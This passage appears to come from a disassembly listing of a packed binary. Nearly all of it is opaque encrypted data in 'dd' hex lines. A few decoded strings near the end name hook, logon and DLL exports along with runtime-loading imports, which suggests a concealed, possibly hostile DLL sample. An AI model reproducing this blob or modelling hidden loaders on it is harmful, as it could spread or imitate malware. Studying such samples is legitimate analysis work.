		dd 65E4F176h, 1582A832h, 8D499F9Fh, 65BA248Eh, 7BE8A0A8h
		dd 0CFB7B93h, 892230E3h, 7BBE6B1Fh, 3D92A709h, 0C61EBA75h
		dd 0F7A7A3Dh, 7CBF67A0h, 175D0A8Fh, 6FE0421h, 0E02CD883h
		dd 39528DE2h, 0AD12632Eh, 0E98F1D03h, 6FFF8BEBh, 1E4E7F7Ch
		dd 0C88FA41Ah, 8F4D1F62h, 6621491Eh, 0A6F6A773h, 0AD702D0Bh
		dd 46FE1F81h, 0DADB7235h, 638C2C99h, 4DEEAC24h,	2C2449AFh
		dd 94623DA4h, 77290C2Ch, 0DFDBEBA7h, 232D5DA1h,	0F9362592h
		dd 2FEE0C2Ch, 0DB75B5EDh, 0BC2646D5h, 0EBCEC4A7h, 1EE93AA4h
		dd 24727288h, 31D53A9h,	0DAE05024h, 2050AC6Ah, 6D022DEAh
		dd 63683A7Dh, 0D409D348h, 79E922A2h, 0D3AC8C50h, 0A8E30023h
		dd 2C3A4C2Ch, 495E78CCh, 610C4842h, 435E4F45h, 45406F0Ch
		dd 0A8004C58h, 497F0129h, 4F0C5A5Eh, 46F4CF59h,	58455E2Dh
		dd 4B6D0C55h, 6C026D49h, 4F016F7Ch, 0C5424045h,	7FEC92EEh
		dd 4D5B555Ch, 3AB4780Ch, 4D413AACh, 6E5E4358h, 976D1FC2h
		dd 0DB4A4968h, 61B547C1h, 7AFD41ACh, 42435645h,	25E0650Ch
		dd 49420FBEh, 4EA58258h, 49597FCDh, 8C703BECh, 5F4D406Eh
		dd 29B2712Dh, 0C6B7A6Dh, 6E48696Ah, 454328EEh, 1622C43h
		dd 585A25A9h, 4F29927Ch, 404D5FDDh, 22FC470h, 4128DD45h
		dd 4E497B2Bh, 27F1BFA0h, 0F26D5843h, 450AAB51h,	700A5501h
		dd 0A24D4F90h, 689EF23Dh, 4A2D4F43h, 584EF0D6h,	41694D5Eh
		dd 610C4B27h, 0F8376E1Ah, 5A4D4B4Dh, 0E8B760B2h, 0F2F65A0Dh
		dd 5F59ED19h, 66FDCBBBh, 57A0FDBFh, 0A23B6E4Dh,	59477C3Fh
		dd 4D41555Ch, 508362D5h, 0B0A4764Fh, 4A4360C0h,	0AC43E239h
		dd 6D01486Dh, 0B36D4F61h, 0FA9E5E05h, 4E0F5490h, 0B4C4C600h
		dd 6074067Ah, 3D1A64FFh, 0EFAB22ABh, 8E3FD95Dh,	903DAE38h
		dd 0DFE3103Fh, 0B2CEE310h, 30469E84h, 3E5DCFA3h, 5E3F4DABh
		dd 0A7DA3DB4h, 3E15145Dh, 94D43846h, 68FF5D0Ah,	813C0F96h
		dd 5E7C4B59h, 39A2ED13h, 494B4940h, 0AF405C54h,	2A1FA00h
		dd 0B2EC2DFEh, 6062657Bh, 62636B63h, 69746902h,	4B378C80h
		dd 0FC9BF8E2h, 8ABF1E1Fh, 6A631A2Ch, 7E6D7B78h,	3B1C7069h
		dd 7B7041F8h, 1DF54345h, 5F5B24D4h, 30CB6F70h, 5F58059Fh
		dd 1D5CBC45h, 92255830h, 497CF935h, 14A17040h, 5858D23Bh
		dd 3F11A64Bh, 414578DAh, 3CAB734Bh, 2713C607h, 4458A9CEh
		dd 6CDC0AFDh, 2C606068h, 5A437B54h, 0BB01335Dh,	55822555h
		dd 78620CE5h, 0C085F59Ah, 8C9E00F5h, 2C554B4Bh,	70554A03h
		dd 33B46760h, 0C3CF4A8Bh, 2469E8F4h, 4415574Dh,	0EB3A4522h
		dd 31CF7740h, 0DBCE6426h, 5F474D1Dh, 0F4BF5E6Eh, 0B664F184h
		dd 5C1474FCh, 9B464E63h, 586EC200h, 0FD21BFF3h,	5D48EB7Eh
		dd 3B7F6136h, 6F6C765Ch, 68657F60h, 42555F6Dh, 337444Fh
		dd 4342C467h, 7963868h,	654D62E4h, 0D70F5C41h, 4DB25F48h
		dd 19191174h, 4036E718h, 73545B28h, 1582CE41h, 1DF86880h
		dd 25EC4F8Ah, 1C092731h, 164F5414h, 1CF66045h, 0F34C6567h
		dd 484D43F6h, 0FC4D4560h, 6D55E27Ah, 0EAEC45ACh, 657C6D7Fh
		dd 0EC284802h, 4269ECF4h, 4F7C4159h, 615F5F49h,	5594843h
		dd 6B90A5B7h, 0AA5EDD80h, 4688456Ah, 5A2BC806h,	4D5F5C33h
		dd 7209455Ch, 5859A1F8h, 1563D13Ah, 8C09A0Ch, 4F6D00ECh
		dd 2E5C06ECh, 67510AD7h, 50E85A09h, 0E724E609h,	0EBCB7EAEh
		dd 2E2D77DEh, 0CBCFCDDCh, 293E282Fh, 52252A31h,	2BD4D050h
		dd 33257E24h, 26525212h, 213E2027h, 0A3307031h,	23252223h
		dd 333C0EC4h, 3DD05012h, 3F7E3E7Eh, 0D313137Eh,	3A39383Bh
		dd 521213h, 357E343Bh, 13133323h, 3E303736h, 0CFCF3131h
		dd 2532ABEBh, 0D7E0C33h, 0DFDFDDDCh, 3E080F0Eh,	0CED33109h
		dd 250AD45Ch, 0CB0B0E98h, 4CBCBCBh, 0CB070605h,	0CBCBCBh
		dd 0CB030201h, 1CCBCBCBh
		dd 0CB1F1E1Dh, 18CBCBCBh, 0CB1B1A19h, 14CBCBCBh, 0CB171615h
		dd 10CBCBCBh, 0D4131211h, 6CCFCDDCh, 6E256D25h,	333A6F25h
		dd 68255012h, 6A256925h, 13131313h, 1365646Bh, 66131313h
		dd 13616067h, 62131313h, 137D7C63h, 7E131313h, 1379787Fh
		dd 7A131313h, 1375747Bh, 76131313h, 13717077h, 72131313h
		dd 0F34D4C73h, 4E3333B5h, 14484F7Eh, 49E733B2h,	4B0F304Ah
		dd 0DFE6FBC4h, 3339440Bh, 0FB46336Bh, 47F3EBE8h, 0DD4F4077h
		dd 2541CFCDh, 0D0432542h, 5CDCC0D0h, 5E5D2E3Eh,	0D0D0D05Fh
		dd 5A5958D0h, 0D0D0D05Bh, 565554D0h, 0D0D0D057h, 525150D0h
		dd 0F0D05053h, 4AADACD0h, 123323A7h, 77AF3EAEh,	0B3A97EA8h
		dd 0AA33B3B3h, 0B3B3A4ABh, 0A6A5B3B3h, 0B3A3A0A7h, 0A2A1B3B3h
		dd 0E325BCA3h, 0BDA3E3E3h, 0E3B8BFBEh, 0B9E3E3E3h, 0E3B4BBBAh
		dd 0B5E3EF9Eh, 0B73C03B6h, 0C9A3E3E3h, 0DFB2B1B0h, 0B3E3EF9Fh
		dd 8D0C318Ch, 0DECBC98Eh, 89888FDFh, 0A3E3E3EBh, 3E848B8Ah
		dd 0EFCDDDD5h, 25863185h, 0D5D48087h, 8281D5D5h, 0D03E9C83h
		dd 9DD4D0D0h, 0D0989F9Eh, 99D0D0D0h, 52949B9Ah,	31505252h
		dd 52979695h, 90525252h, 23939291h, 0EC121333h,	37EEED77h
		dd 0CFCD25EFh, 7EE8ABEBh, 0EB77EAE9h, 0D450314Ah, 0E508E4DCh
		dd 3C37E625h, 0A3A3EBEFh, 0E1E025E7h, 0DD25E23Eh, 0E3CFDE47h
		dd 127EFDFCh, 0FEDCD450h, 0F87EFF7Eh, 5214DE3Eh, 25FAF900h
		dd 0CBCFFB9Dh, 0F5F45BDEh, 0DD4FDF7Eh, 0F77EF6CDh, 0DFDFDCF0h
		dd 0F3F2F1DFh, 0EF6E3ECCh, 0CDC0D0D0h, 0ABEBCFCEh, 3EC853A3h
		dd 9DCA3EC9h, 0CBCFCCC0h, 2E31C43Eh, 3D273C5h, 33C7C6D5h
		dd 0C0D05012h, 0C225C125h, 0A099D525h, 0DC25C323h, 0D09FD5DDh
		dd 0C9DFDE36h, 0D84FDECBh, 0EB2210D9h, 1F2CDAA3h, 0A358DB0Fh
		dd 0D4DEFBC9h, 0E3E3E3D5h, 0D0D7D6E3h, 0E9D311D1h, 0D37ED2EBh
		dd 0EF7F7A99h, 0D8F3C9BCh, 0D3C92913h, 2B2AA3E4h, 0B3E3E733h
		dd 13002524h, 2726BA93h, 74D0D020h, 232221D2h, 0D0D0D0D0h
		dd 3F3E3D3Ch, 0D0D0D0D0h, 3B3A3938h, 0D0D0D0D0h, 37363534h
		dd 0D0D0D0D0h, 33323130h, 0D1873178h, 0DFDEEBCBh, 0CBCB0A09h
		dd 40BCBCBh, 0CBCB0605h, 7CBCBh, 5FDE0201h, 1C03CBCAh
		dd 0CBCBC11Dh, 0B31F1EEBh, 3E74C617h, 5874D0D0h, 0D015141Bh
		dd 16D0D0D0h, 0A2111017h, 12D0D0D0h, 0D0D06C13h, 6E6D5274h
		dd 0D0D0D06Fh, 6A6968D0h, 0D0D0D06Bh, 666564D0h, 0D0D0D067h
		dd 626160D0h, 0F4D09D63h, 0D57D7CD0h, 7ED5D5D5h, 0D579787Fh
		dd 7AD5D5D5h, 0D575747Bh, 76D5D5D5h, 9D717077h,	72D5D5D5h
		dd 7A164C73h, 0B34DD5D7h, 498B33B3h, 0B3B3B34Ah, 45444BB3h
		dd 0BF73BA46h, 414047B3h, 13015274h, 0D4D44342h, 5D5CD099h
		dd 0D0505E77h, 5F775074h, 12037E58h, 5A595252h,	0D0543E5Bh
		dd 55D274D0h, 0D0935756h, 5150D0D0h, 0D487D352h, 0AC7E53D4h
		dd 0BA131313h, 13AFAEADh, 0A8131313h, 13ABAAA9h, 0A4131313h
		dd 13A7A6A5h, 0A0131313h, 52A3A2A1h, 0BC1A1300h, 525252BDh
		dd 0B8BFBE52h, 525252B9h, 0B4BBBA52h, 525252B5h, 0B0B7B652h
		dd 521213B1h, 8CB3B252h, 23A78D3Eh, 8F8E1333h, 8977887Eh
		dd 13B9A3E7h, 4F848B8Ah, 0D03E3399h, 3ED0D0D0h,	0D07E777Eh
		dd 7ED0D0D0h, 0D07E7E7Eh, 7ED0D0D0h, 1D7E7E7Eh,	7ED0D0D1h
		dd 4FDE5B7Eh, 0DF9695D5h, 97DFDFDFh, 0DE929190h, 93DFDFDFh
		dd 0CBEEEDECh, 0EF4FDEEBh, 0CBC9F3E8h, 0EBEAE9CBh, 0E4C3CFCDh
		dd 0E63EE5E4h, 0D450123Eh, 0E03EE7DCh, 0B33EE13Eh, 0E23323A5h
		dd 0FC3EE33Eh, 0F69DD917h, 0D0D18731h, 58C7DAF9h, 62D39DCBh
		dd 7FB38051h, 33BA46EBh, 0CECDE3E7h, 5276CFh, 0D0C9C893h
		dd 0CAD0D0D0h, 0DFC5C4CBh, 0C69DD547h, 0DEEBC9C7h, 0C2C1C0DFh
		dd 93E3E713h, 1313DCC3h, 0DEDDB3BAh, 0D25275DFh, 0DAD9D801h
		dd 0D09DD547h, 0CBC9D4DBh, 0D6D5DEEBh, 0E3E3F6D7h, 0DED1D093h
		dd 2C9DF8C3h, 0EC549E5Fh, 24283Dh, 2E2DA396h, 0EBF13A2Dh
		dd 0CFC228D5h, 28292850h, 0A72FD203h, 29181F2Ch, 44FC2C2Ch
		dd 165C5858h, 1E140303h, 2141502h, 2191F1Eh, 18031C1Bh
		dd 0FC3A1F18h, 1E1A828Eh, 44001D40h, 141C1D02h,	300E85A2h
		dd 910EF4E0h, 8B773F3Ch, 29981D1Ch, 19182C2Eh, 15141B1Ah
		dd 686F6E6Dh, 48656A69h, 4699610Bh, 309BC9ABh, 72AA5751h
		dd 59792C0Eh, 43784845h, 7C5E587Fh, 5EBFBE0Ah, 354D585Ch
		dd 0A186915h, 360119CAh, 820A752Ch, 845C43A7h, 25D8EE0h
		dd 72237444h, 0FCB4A15Fh, 0F01E1F9Fh, 0BD7EFE80h, 42CCB502h
		dd 5E2C8D5Ah, 43580C58h, 3CCB00Ch, 6484D36h, 4E4C9AFCh
		dd 5B0A1145h, 3101158h,	0B1687156h, 5F014FE8h, 745EE84Ah
		dd 7684DC8h, 4D2AE528h,	0C414A0Ch, 9B733D4Fh, 0A35F13F1h
		dd 5CA25B67h, 0A432AEDh, 0E24A4A4Dh, 1C8EE760h,	3102733h
		dd 1C115D56h, 0B12CD8E7h, 5F5A4D1Dh, 46450911h,	0AEE45CDh
		dd 275A0A4Fh, 54A9A8C8h, 0B2841E73h, 56436122h,	224CE2CCh
		dd 0C1C034Dh, 62FC91EEh, 455C4104h, 2C3A854Eh, 610C175Bh
		dd 0C69657Fh, 0D73C71Ah, 0D63BB4E5h, 51D0C0Dh, 764D2465h
		dd 6D795F06h, 270C3E48h, 59582C4Eh, 98DB25Ch, 3DD24A01h
		dd 4F5456C4h, 0E5487E19h, 3A1C5894h, 597D2BABh,	21C71755h
		dd 835C6306h, 618297BEh, 0CE9F869Bh, 6D62AD70h,	0CF57B2AEh
		dd 0C7405E79h, 64DB4899h, 197AD55h, 0ECA4434Ah,	406F9063h
		dd 0BA586449h, 0FAA71361h, 376BFA76h, 45044FADh, 7678DA5Bh
		dd 1D7345C0h, 6F7A4C01h, 74786161h, 428D6173h, 5E5C5F3Ch
		dd 0E25D5461h, 0E445DFECh, 7C07B13Fh, 6756E54Ah, 4E54B48h
		dd 1B6E7EE7h, 4D5EBF3Eh, 3AD3D845h, 47D91E5Fh, 7F75ACB9h
		dd 8E616978h, 0E82DFBB7h, 7075709Eh, 0A8105F70h, 68458786h
		dd 5A6938CCh, 0F10D031Ah, 6CE3FC49h, 737E7907h,	4CE5B379h
		dd 9A2C7F4Eh, 1DF05C63h, 0B6F61C6Dh, 22706432h,	1A80E39Dh
		dd 3FDB1822h, 700B09E9h, 0F0571F76h, 0A9E1319Ch, 4F4D0CD0h
		dd 3FB64D55h, 49A32754h, 7B494F30h, 0B4C184C2h,	8053846Bh
		dd 0A9499B8h, 0DA6D58F9h, 436ECF0Ch, 6544782Ch,	4D5920C5h
		dd 7AC5AB25h, 71C5B22Dh, 9A874F43h, 0CAA96C41h,	6F6B8A24h
		dd 6D7A7F6Dh, 0FC12C60h, 131678A4h, 6B637E7Ch, 2112E2B4h
		dd 0C616D7Eh, 108B067Fh, 65611327h, 8828976Fh, 656D0C35h
		dd 0AC757C7Fh, 137D5741h, 49DE2A4Bh, 47D3EE2Dh,	38D9AC0Ch
		dd 4BE8FB2Eh, 0D06AECD2h, 2C7FB28Fh, 0EF802D8Fh, 0D0642D2Ch
		dd 3DE30785h, 112C868Eh, 934C7E5Fh, 1370156Dh, 8ADFEC72h
		dd 902C5F29h, 17E310F4h, 0D6F0F4E3h, 301710D4h,	92925B22h
		dd 0A48C74E9h, 3B105B93h, 88EAB2ABh, 0C33091C8h, 0E4022210h
		dd 0E47A742Ch, 54C2104Ah, 5E93F858h, 0EFAB8DDCh, 0EAC2E7CDh
		dd 0EAEEEAF6h, 2230145Ch, 0EAD0EA86h, 0EB36EB26h, 0AB10EB00h
		dd 0EB6CCDE9h, 1032487Eh, 0E45DCBA2h, 0EBC62E3Ch, 10DBBAFAh
		dd 0E884DFE3h, 2055A858h, 0ED4E2D27h, 55CBA456h, 88B8CBB2h
		dd 14FCE890h, 0CEB256D4h, 0E310DFDCh, 6E023E4Fh, 0DFE3447Eh
		dd 0BC52E310h, 32E09688h, 0F410DFEBh, 0EF2ADACAh, 0CFAB323Ah
		dd 66100855h, 40EF70EDh, 55CBB255h, 84B0A254h, 54CFE494h
		dd 0C4F6CBB2h, 30E826D8h, 0E310DDEFh, 187C6818h, 0E3E840EDh
		dd 56A310DFh, 9884B0AAh, 10DFEB32h, 24DCF8EAh, 0B2550EE9h
		dd 120255CBh, 0AA56467Ah
		dd 0CBB214DFh, 0ED0480B4h, 0F7EE2A3Ah, 0EF60EB20h, 0E410E84Ch
		dd 0EBEFAB32h, 0EC6AEC7Eh, 0CBB21418h, 22360655h, 0C893DC28h
		dd 0EA333014h, 0EA52EABCh, 0CDEFAB40h, 0EA70EA5Ch, 0EA18EA64h
		dd 145CEA0Eh, 0EA222230h, 0E9CAE9D4h, 0E9E0E9F4h, 90DCCDEFh
		dd 0ECE8EC46h, 0D8C8EC8Ah, 0ECACAB36h, 0B3FC4EBEh, 0C2C8D7C9h
		dd 0C52349Fh, 6538FF7Eh, 6B542C38h, 5486366h, 5FE51E0Ah
		dd 0E6016C9Bh, 9E2CD244h, 0DDDF2A7Ch, 7C757D49h, 2C446F7Eh
		dd 0B6EAB7A0h, 0C96864AAh, 492C8E15h, 60FF4967h, 0B9AB18Ah
		dd 1AAD90B4h, 952A01EDh, 0AFE75F45h, 65D344A5h,	0B25AA5D4h
		dd 0E6ED25F0h, 7B606200h, 0F43B61Fh, 0B6117945h, 0E09B7BF1h
		dd 7EB6BB16h, 47B909AFh, 68C7DF3Bh, 8E06DA17h, 428F0A6Dh
		dd 0BF4E4D6Dh, 46D8658Ah, 5C6E509Bh, 0C4367869h, 686014EDh
		dd 945CB665h, 14AD4378h, 4159CDBBh, 0C8543632h,	8EF80A5Ch
		dd 1E8622Ch, 4258ADE2h,	0E0B64EE3h, 35AF8CC4h, 5C754D12h
		dd 402F822Ch, 48FA4F5Eh, 2E472270h, 381A6E56h, 5C556E40h
		dd 7E3A456Fh, 0E487C0A1h, 2E2AED2Bh, 0F4815DB5h, 8235DC1Ch
		dd 0F14F4849h, 4141A527h, 3A92B08Fh, 9DB4D60Eh,	312C0282h
		dd 253E1B81h, 49B0DE2Fh, 9FB6652Bh, 0C5493B64h,	0CD58E8A1h
		dd 73287A2Dh, 159BF40h,	5E5D8D7Fh, 2EDF1341h, 89E86B97h
		dd 5C490C1Fh, 222E852Ch, 0EB627E25h, 1F45437Ch,	61C0B13Dh
		dd 57574DAEh, 222F2EA0h, 4B9542C9h, 0A62C5B0Dh,	97B6741Bh
		dd 939AFD54h, 0BE332FA4h, 0B0CE7F5Ch, 435C750Eh, 0F7B7091Eh
		dd 5BF39D16h, 0A0272C4Fh, 0B6EA2F52h, 595824A7h, 0F50A404Dh
		dd 0AF2CAC3Ch, 0A8617B2Fh, 627F3D15h, 99B6DE0Eh, 0C44AA740h
		dd 0BA5658B5h, 0FE775AA3h, 65EF3A9Fh, 5EE46544h, 0B4BA44BDh
		dd 78A1B02Dh, 0DE44A217h, 215EB1F3h, 490BAB0Ah,	0F00B661h
		dd 7C8196A0h, 7406DDBh,	24D48ED7h, 40A1B430h, 10B3656h
		dd 0F69F2E7Fh, 4F76A5D7h, 64A1C45Bh, 0EFF51E2Eh, 0A4FF5F08h
		dd 185ADACBh, 4FFE615Fh, 55E8F403h, 78D39DD1h, 0BC3A671Bh
		dd 5AB00D92h, 76F32C76h, 0BEE2F89Bh, 4508CEB9h,	8AC1C89Ch
		dd 218D419Fh, 5F0845DEh, 3859A4CBh, 83F9C5A3h, 0F59E9D2Ch
		dd 0DE2E4844h, 5A5C2457h, 67B88AF9h, 5EAA7C3h, 59436F34h
		dd 83AD8AE7h, 0C3715C11h, 0C2A05F69h, 51C351D7h, 2C43E8F0h
		dd 0BFC4C3AEh, 94555C43h, 9549CF57h, 4E9B4068h,	968E10A2h
		dd 881055E3h, 0ED58F89Ch, 0CCBE02DEh, 9005CA6Fh, 5EB8ECA8h
		dd 8CA24F59h, 446FFD3Bh, 5D021866h, 0B5296037h,	0F76974CEh
		dd 8109F31Ch, 7DEA9EC7h, 0B5F99A6Dh, 9BA6A0C1h,	0F65CB0D7h
		dd 54C96818h, 9CF84F7Bh, 0C0E748B8h, 2484AD09h,	0DD5CC6A7h
		dd 1896FF27h, 9569DA88h, 0D19681Bh, 5C642E2Ah, 9D63791Bh
		dd 0F96364B7h, 0E5667769h, 0B60F987Eh, 0DC5655A5h, 0CB689D20h
		dd 66EF7C6Dh, 0E52C90FFh, 35ABD6BCh, 2C07C5CFh,	34CA75ECh
		dd 7E5F6D52h, 629560B2h, 0E6FAA44Fh, 0F9632F65h, 4A7DF7A7h
		dd 1B9F1EC5h, 0AA05750Eh, 0FFFD59B2h, 9FC84591h, 0A69CBDC7h
		dd 7C1C64D9h, 339DF42Fh, 0FD5F3587h, 0D2FF638Eh, 502CE635h
		dd 286BBCB4h, 0FC6C4441h, 69670A17h, 3577747Eh,	942C60C8h
		dd 0FA1A04E3h, 4A585C2Eh, 9AAE8168h, 6A762C18h,	5C79032Eh
		dd 0FE0724h, 0ED1C0336h, 229829BFh, 792E82D6h, 0E2C74442h
		dd 8E1FBB63h, 0DC7F5AB5h, 10FAC54Bh, 0A20D8601h, 934E4A2Ch
		dd 0B78D8F89h, 45FD3F8Ch, 0A1EEAFBh, 0BEAE9761h, 864B4DA1h
		dd 265B782Eh, 0AF426A61h, 0D3B162C5h, 0EACE7C2Dh, 0AC4710E9h
		dd 4295B668h, 14655691h, 0F8E79937h, 97EF570Ah,	19B5BF1h
		dd 0C820988Bh, 2C30780Eh, 0F0ED5946h, 80D9DE07h, 8A42A218h
		dd 610F7437h, 0BDF8602Dh, 5C590109h, 5869AE7Ah,	2D86590Bh
		dd 0DBFD801Ch, 234A2DE5h, 467E702Ah, 2C858B3Ah,	0A59584F7h
		dd 6249CE47h, 4B88C5DEh, 0C4D51E7Dh, 60DC80CAh,	2C0D448Ah
		dd 0C594C5C0h, 0C3E2E12Ah, 48FE9D1Fh, 0DFBC921Eh, 0D4DE48C5h
		dd 0B342ACB6h, 4A58C7E0h, 0C518D254h, 0D78A2CFEh, 2C32440Ch
		dd 81272C31h, 0A9F843B9h, 55458E59h, 0BF4782FBh, 22811501h
		dd 0F7DED368h, 0A9D06933h, 3AA67AADh, 4F6D582Fh, 118A7B1h
		dd 7AB1AD04h, 0E2CD483Bh, 0E832C369h, 9BB0F77Eh, 0FC9580A0h
		dd 15C0194Bh, 7A7A686Dh, 0E8398E8Fh, 0D5508BC0h, 40F53F94h
		dd 2A756A4Fh, 0C546A833h, 0BB7BE499h, 23BEFA7Dh, 0E1971CF1h
		dd 3F2D596Bh, 84985CAh,	0D4622693h, 17EFAB22h, 0E501E531h
		dd 0CB94E52Dh, 3D260015h, 1FCC0B3Bh, 5F475912h,	0F64DAE39h
		dd 0BAB44158h, 5B59A22Ch, 4B435Ch, 9B2C4A44h, 5E5C9968h
		dd 2E1F1B57h, 1F21902Ch, 11D1569h, 6D6F1F19h, 156F1801h
		dd 6D15011Bh, 0E92D4D20h, 19181D01h, 60D81C6Fh,	1E6D706Ch
		dd 6B22511Ch, 8F940D71h, 55CBB255h, 4C54B884h, 14DF1C68h
		dd 2838CBB2h, 0FCF48EC0h, 0E310DFE3h, 5CBC8C98h, 0DFE36174h
		dd 146010h, 78D3D22Ch, 0D3168259h, 4F2C2DE3h, 7A2E0B3Ah
		dd 454D6161h, 49F79248h, 0F1C0B5ABh, 0B9F4ED50h, 5179BFCCh
		dd 2D2DC237h, 0BA293053h, 0CE30DCD3h, 36BC3CC0h, 0FC00211Ch
		dd 292C3A34h, 709C382Ch, 2C3E8C3Ah, 2A462C03h, 4C3A401Ch
		dd 2C092C26h, 24102C1Dh, 1A75272Ch, 3A295531h, 251C9CCDh
		dd 2C3B122Ch, 6A5DF115h, 0AD47F01Dh, 2C3F2BB1h,	0BF1E2CAFh
		dd 6CF87140h, 745B6056h, 74842196h, 22387507h, 90F7AE1Ah
		dd 0E33FD07Eh, 42742029h, 0F22C9E7h, 9CB51EE1h,	383A2C11h
		dd 0BB61FB3Bh, 1B083D29h, 0FD3080B6h, 13A4115h,	740D052Ch
		dd 2740E70Ah, 96754F26h, 0B32A2900h, 219E44E5h,	0D51F4921h
		dd 273B3E02h, 0FB52FF49h, 8AEF3739h, 87031A3Fh,	8A276849h
		dd 31627AD8h, 0C968589Eh, 0B7032B3Eh, 3120E7BAh, 55589EF5h
		dd 0A23A3B2Bh, 3124BBE0h, 4AE09549h, 5E33353Dh,	37BB01F6h
		dd 8F499ED5h, 0A31A3A2Bh, 3627BB60h, 775ED797h,	0BAB02125h
		dd 246D4EE5h, 9EF5BB2Ah, 0F12A2BF4h, 0BE10F2C0h, 0DA536446h
		dd 0D42C1DC0h, 0A05F93Ah, 679AD51Dh, 852C0557h,	5EF62069h
		dd 2D700274h, 0BF52E327h, 0F51121EDh, 391CB841h, 0F5B69EEFh
		dd 41752A24h, 223BB74Ah, 4AFF8F27h, 709F211Fh, 2565513Bh
		dd 0C9C701F5h, 1B0F3E0Fh, 2790C9BFh, 0F099425h,	754E2A27h
		dd 29D40E14h, 0E791BDA3h, 0BF08253Fh, 75350F19h, 0C59E1D75h
		dd 11690A0Eh, 0BC1FB241h, 48AE6C5h, 48D5BD08h, 48052BC9h
		dd 3FEE6E9h, 9E9B7735h,	709C2157h, 2206BE1Ah, 7513C374h
		dd 439F243Bh, 33A9F55h,	10F598C8h, 5ABA0433h, 0A2544BE7h
		dd 3D660A31h, 78DC8B00h, 62DFA3DAh, 985B3D32h, 276A94D2h
		dd 0F1C22E3h, 6BC9A3E5h, 4E223221h, 30CB01B5h, 4B9E3334h
		dd 4C2915E6h, 7CC152A4h, 0B8C148E7h, 709B4B35h,	273D3DBAh
		dd 0BF9BBDFEh, 5D682B20h, 0B3CE1B7h, 57BDCAFFh,	7043FA74h
		dd 3792250Ch, 0FE0BDB59h, 0E4FD9B9h, 0FF77EA2Bh, 0E54637E0h
		dd 2A22A1B6h, 9EE94237h, 0A862FA24h, 1F193E8Bh,	3D297B47h
		dd 0B6C7BAE0h, 9F3C3679h, 36984853h, 5299FE25h,	629724E5h
		dd 473CB3B8h, 0B2BEBB16h, 26FB3F39h, 9F37002Ah,	29352077h
		dd 0F59E9AC8h, 0D12B3A32h, 0B00CF5BAh, 2BD67584h, 1EDD4458h
		dd 0F142F42Bh, 0D7342BCEh, 19F75ABh, 56E8419Eh,	0D0FF2638h
		dd 3B65DDBBh, 91948F45h
		dd 1749AF07h, 0F73C56E1h, 2A00959Ch, 132DB35h, 3F0A1786h
		dd 7F63BEC1h, 3842129Ch, 197DB091h, 8E9F4A39h, 69081055h
		dd 2994C304h, 34EFA0ECh, 26D82CE9h, 68D7491Ch, 33E38C1h
		dd 3D40E5F3h, 0F87133h,	0BA210E77h, 31261EEBh, 6B96748Fh
		dd 9A437200h, 0E7133623h, 95509BE6h, 0A018203h,	0C102786Dh
		dd 0FD578E23h, 0CF4A0DF2h, 2A39FBBCh, 0F549A302h, 412F3932h
		dd 9A2A7570h, 0A02B3656h, 30449855h, 3B975E20h,	0A0502E5h
		dd 250DA3E7h, 8A588839h, 8996A4CBh, 684A2A4Dh, 1E0CD547h
		dd 24470BA3h, 4856E13Bh, 777C24FFh, 249AE69Dh, 0D2B03872h
		dd 1EDF4222h, 50873C87h, 3C3D04B5h, 0C1B8CB48h,	0E6596320h
		dd 0B03DC79Ah, 0C83E7F9Ah, 47137657h, 0F7604AAh, 744491C8h
		dd 10553A27h, 3527E54Ah, 345835C4h, 2986F13Fh, 1A76E5EFh
		dd 60B0356Ah, 49F36266h, 0D13A7507h, 35A6F9C7h,	3C1FD56Fh
		dd 0FDCA3E24h, 292AE1B6h, 42DB2304h, 46CEDD97h,	5B9A9422h
		dd 50F230Eh, 0CB8ADE72h, 0AC06913Ch, 2EB44A18h,	0B5852CECh
		dd 1C2A108Eh, 0FB61157Dh, 926DA70Bh, 0BD833820h, 3F73E7E1h
		dd 1CE9C9A2h, 952034h, 2023FAE6h, 2A331FD1h, 0C3394029h
		dd 68C52587h, 42698F1h,	7BB78994h, 9785399Ch, 0AE86E04Eh
		dd 1FFC9729h, 0CCD32C28h, 2ED43F18h, 0D6039356h, 682F063Ch
		dd 0A91DD1B1h, 141C28CDh, 0A77B18C0h, 186E8254h, 0CCD81C6Ch
		dd 2C2CE170h, 13h dup(2C2C2C2Ch), 0Fh dup(0)
		dd 46E13951h, 0
		dd 0C8EEh, 1, 2	dup(7),	1006Ah,	1004Eh,	10040h,	50000h
		dd 10006h, 30002h, 860004h, 8F0001h, 9F0001h, 0B10001h
		dd 0BA0001h, 0C10001h, 0C70001h, 19070001h, 1B240000h
		dd 19060000h, 18FA0000h, 1B8F0000h, 132C0000h, 14E30000h
		dd 63410000h, 61766974h, 44006574h, 61436C6Ch, 6C6E556Eh
		dd 4E64616Fh, 4400776Fh, 65476C6Ch, 616C4374h, 624F7373h
		dd 7463656Ah, 6F6F4800h, 6F72506Bh, 6F4C0063h, 66666F67h
		dd 676F4C00h, 53006E6Fh, 74726174h, 0
		dd 1011Ch, 1012Ch, 10140h, 10150h, 0
		dd 100D0h, 0
		dd 0FFFFFFFFh, 1010Ch, 100D0h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69560000h, 61757472h
		dd 6572466Ch, 0D7000065h, 21F4ABA8h, 7E4018DBh,	0DCE8B15h
		dd 0B8AD1605h, 0AB0E2ACCh, 0C15E4035h, 2470E337h, 1C8A56C7h
		dd 0CC21h, 484846E8h, 50484840h, 0C3284810h, 0C36C6C3Ch
		dd 0B4606C34h, 0CD817BE5h, 0A8593C88h, 7B485448h, 7054C59Ah
		dd 0A04BF9ECh, 0BE3B483Ah, 0CB47B373h, 1D1B48CDh, 4814401Fh
		dd 0B937B48h, 8BC3A57Bh, 485534C5h, 97C3A3C3h, 48B919A0h
		dd 0C54864ACh, 4B487514h, 0A0A7C38Fh, 1517AA0Ah, 3B896313h
		dd 48FA6841h, 0A08DC346h, 6CA34875h, 61A04EF9h,	3D01885Bh
		dd 64EE1369h, 49C308BEh, 4810A4C8h, 0B791CB2Bh,	1E4FC975h
		dd 48486428h, 0B863BFC3h, 916ECBBh, 4BC1A309h, 0DA4E3D9Ah
		dd 8B0ADAE5h, 91A81048h, 0B7A5A009h, 10A0815Bh,	0AE7053D6h
		dd 8BBA3AB7h, 0FC5EC163h, 29542827h, 4818448Ah,	647C6449h
		dd 5180587Ah, 8F85413h,	5B9848FCh, 9C3A9786h, 5E5038A9h
		dd 488CC206h, 0B848F578h, 8BD77C55h, 4917484Dh,	0F2546449h
